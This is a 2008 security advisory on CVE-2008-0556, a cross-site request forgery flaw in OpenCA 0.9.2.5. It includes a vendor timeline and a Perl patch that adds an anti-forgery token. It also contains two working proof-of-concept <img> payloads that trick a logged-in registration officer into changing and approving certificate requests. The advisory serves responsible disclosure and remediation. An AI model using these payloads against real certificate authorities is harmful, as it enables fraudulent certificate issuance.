[UNIX] OpenCA Cross Site Request Forgery (XSRF)
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- Date: 17 Feb 2008 08:55:56 +0200
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OpenCA Cross Site Request Forgery (XSRF)
------------------------------------------------------------------------
SUMMARY
The <http://www.openca.org/projects/openca/> OpenCA PKI Project (v0.9) is
"a collaborative effort to develop a robust, full-featured and Open Source
out-of-the-box Certification Authority implementing the most used
protocols with full-strength cryptography world-wide". OpenCA suffers from
a typical cross-site request forgery (XSRF) problem. This means that an
authenticated user (a registration officer, for example) can be
manipulated into executing certain activities on the CA without his
knowledge and consent. In a CA, this is especially problematic as this
means an attacker can issue arbitrary certificates this way.
DETAILS
Vulnerable Systems:
* OpenCA version 0.9.2.5
As the user is authenticated using a session cookie and the forms that are
used to execute certain activities on the CA are not protected by some
kind of token, one can easily put activities for example into an tag on
another website. If a user has an active session on the CA, these
activities are executed.
Examples:
<img src="https://hostname/cgi-bin/ra/RAServer?cmd=changeCSR&;
dataType=NEW_REQUEST&key=57888&SUBJECT_ATTRIBUTE_0_0=CN&
SUBJECT_VALUE_0_0=&SUBJECT_ATTRIBUTE_2_0=O&
SUBJECT_VALUE_2_0=XSRF+Org&SUBJECT_ATTRIBUTE_1_0=CN&
SUBJECT_VALUE_1_0=XSRF+CN&SUBJECT_ATTRIBUTE_3_0=DC&
SUBJECT_VALUE_3_0=example&SUBJECT_ATTRIBUTE_4_0=DC&
SUBJECT_VALUE_4_0=com&SUBJECT_ALT_NAME_ATTRIBUTE_0=DNS&
SUBJECT_ALT_NAME_VALUE_0=xsrfsan"/>
<img
src="https://hostname/cgi-bin/ra/RAServer?head=&cmd=approveCSRnotSigned&;
signature=&dataType=PENDING_REQUEST&text=-----BEGIN
HEADER-----%0ASERIAL%20=%2058912%0A-----END
HEADER-----%0A-----BEGIN%20CERTIFICATE REQUEST-----
%0AMIIBqjCCARMCAQAwajELMAkGA1UEBhMCQVUxEzARBgNVBAgTClNvbWUtU3RhdGUx
%0AITAfBgNVBAoTGEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDEjMCEGA1UEAxMabXlo
%0Ab3N0bmFtZS5leGFtcGxlLmNvbTo0NDMwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJ
%0AAoGBAJSFtl67sEEZ88wyj0uxgVKlaMl%2FifSNLZPblqlCu%2BhgF3DHhFe80z5DxUk8
%0AEbChgri9cVMfhK7IkInxEr6Cuz3Jv651IKX2XL4GsL1ZxZzQ8u3ywClSBVk5jBk7
%0Ax7qHw%2FkyU8DNDqIJXY2ZkWAeGty7vMGyPTWRanFO8oIGO%2F7bAgMBAAGgADANBgkq
%0AhkiG9w0BAQUFAAOBgQCQhWQrs54Jb8GIn8q3l2OHkmXXM5HV8aDwffwipcGPZHe9
%0ANtc3be0xSQDt1q4rEikMKDVR1WTm5FubXs7ZQpDPbVU5t%2BM%2B%2BUuRbUmdP7PYlttR
%0AnMg%2BEzZKP4S%2BOp4iZRA8cyqJQaJ63aQ2KzGp%2FBx7nPTjdH%2FnX3vN4tHhC1tKcw%3D%3D %0A-----END%20CERTIFICATE%20REQUEST-----%0A&key=58912"/>
Some guessing of valid serials is needed in these cases, but this can be
ignored if the user has access to the public frontend, as he can then
create a certificate request himself that can be changed and approved
using XSRF. Serials are (more or less) consecutive, so guessing is
relatively easy.
CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0556>
CVE-2008-0556
Vendor response:
* 12.12.2007: Reported bug to the openca-core mailing list (the private
mailing list of core developers) via Martin Bartosch
* 17.12.2007: Martin Bartosch forwards the mail directly to the project
maintainer, Massimiliano Pala
* 02.01.2008: Asked for a contact to a release coordinator on the
openca-devel mailing list
* 01.02.2008: Sent patch to openca-core and Massimiliano Pala with the
announcement to release advisory and patch if no reply is received until
February 10th
Solution:
Apply the following patch. It introduces an XSRF protection token
parameter that is added to all internal links and forms which consists of
a SHA1 hash of the session ID that is stored in the cookie. The server
side compares if the parameter is set correctly if needed and complains if
it is not. As no help from the current OpenCA developers was available to
us, this patch is not very well tested. It works for us - use at your own
risk. Note that it introduces a dependency to Digest::SHA1, but this
should be included with the base modules in modern Perl distributions.
diff -ru OpenCA-0.9.2.5.orig/src/modules/openca-ac/AC.pm
OpenCA-0.9.2.5/src/modules/openca-ac/AC.pm
--- OpenCA-0.9.2.5.orig/src/modules/openca-ac/AC.pm 2008-01-14
15:05:16.000000000 +0100
+++ OpenCA-0.9.2.5/src/modules/openca-ac/AC.pm 2008-01-15
10:23:11.000000000 +0100
@@ -34,7 +34,7 @@
use OpenCA::Log::Message;
use FileHandle;
-
+use Digest::SHA1 qw( sha1_hex );
my $is_ldaps;
@@ -781,6 +781,7 @@
## return undef;
## }
+ my @not_vulnerable_cmds = qw( genMenu serverInfo getStaticPage );
if (not $self->getSession ()) {
if (not $self->login ()) {
return undef;
@@ -795,6 +796,11 @@
$self->{journal}->{login}->{role} = $self->{ident}->{role};
$self->{journal}->{session_id} =
$self->{session}->getID();
$self->{journal}->{session_type} = "cookie";
+ if (defined $self->{cgi}->param('cmd') &&
+ (! grep { $_ eq $self->{cgi}->param('cmd'} }
@not_vulnerable_cmds)) {
+ # only the above commands should be called after a login
+ return undef;
+ }
return $h;
}
} else {
@@ -804,6 +810,25 @@
$self->stopSession;
return $self->checkIdent;
}
+
+ # XSRF checks
+ my $potentially_vulnerable;
+ if (defined $self->{cgi}->param('cmd')) {
+ $potentially_vulnerable = 1;
+ }
+ if (grep {$_ eq $self->{cgi}->param('cmd')} @not_vulnerable_cmds)
{
+ $potentially_vulnerable = 0;
+ }
+
+ if ($potentially_vulnerable &&
+ ($self->{cgi}->param('xsrf_protection_token')
+ ne sha1_hex($self->{session}->getID()))) {
+ # potential XSRF attack
+ $self->debug('Potential XSRF attack');
+ $self->debug('XSRF token: ' .
$self->{cgi}->param('xsrf_protection_token'));
+ $self->debug('SHA1 hash of session ID: ' .
sha1_hex($self->{session}->getID()));
+ return undef;
+ }
return $self->{session}->update();
}
diff -ru OpenCA-0.9.2.5.orig/src/modules/openca-ui-html/HTML.pm
OpenCA-0.9.2.5/src/modules/openca-ui-html/HTML.pm
--- OpenCA-0.9.2.5.orig/src/modules/openca-ui-html/HTML.pm 2008-01-14
15:05:16.000000000 +0100
+++ OpenCA-0.9.2.5/src/modules/openca-ui-html/HTML.pm 2008-01-15
09:07:17.000000000 +0100
@@ -26,6 +26,7 @@
use CGI;
use Locale::Messages (':locale_h');
use Locale::Messages (':libintl_h');
+use Digest::SHA1 qw( sha1_hex );
use FileHandle;
our ($STDERR, $STDOUT);
@@ -482,6 +483,8 @@
}
$page .=
' </table>'."\n";
+ my $xsrf_protection_token =
sha1_hex($self->{CGI}->param('CGISESSID'));
+ $keys->{HIDDEN_LIST}->{xsrf_protection_token} =
$xsrf_protection_token;
if (exists $keys->{HIDDEN_LIST})
{
my $list = $keys->{HIDDEN_LIST};
@@ -502,11 +505,22 @@
' </form>'."\n".
' </body>'."\n".
'</html>'."\n";
+ $page = $self->addXSRFProtectionTokenToLinks($page);
$self->sendContentType();
print $STDOUT $page;
return 1;
}
+sub addXSRFProtectionTokenToLinks {
+ my $self = shift;
+ my $page = shift;
+ my $session_id = $self->{CGI}->param('CGISESSID');
+ my $xsrf_protection_token = sha1_hex($session_id);
+
+ $page =~
s/(href="[a-zA-Z\/\-]*\?cmd=[^"]+)/$1;xsrf_protection_token=$xsrf_protection_token/g;
+ return $page;
+}
+
sub libSendMenu {
my $self = shift;
@@ -542,6 +556,7 @@
' </body>'."\n".
'</html>';
+ $page = $self->addXSRFProtectionTokenToLinks($page);
print $STDOUT $page;
return 1;
}
@@ -630,6 +645,7 @@
' </form>'."\n".
' </body>'."\n".
'</html>'."\n";
+ $page = $self->addXSRFProtectionTokenToLinks($page);
print $STDOUT $page;
return 1;
ADDITIONAL INFORMATION
The information has been provided by <mailto:a.klink@xxxxxxxxx> Alexander
Klink.
The original article can be found at:
<https://www.cynops.de/advisories/CVE-2008-0556.txt>
https://www.cynops.de/advisories/CVE-2008-0556.txt
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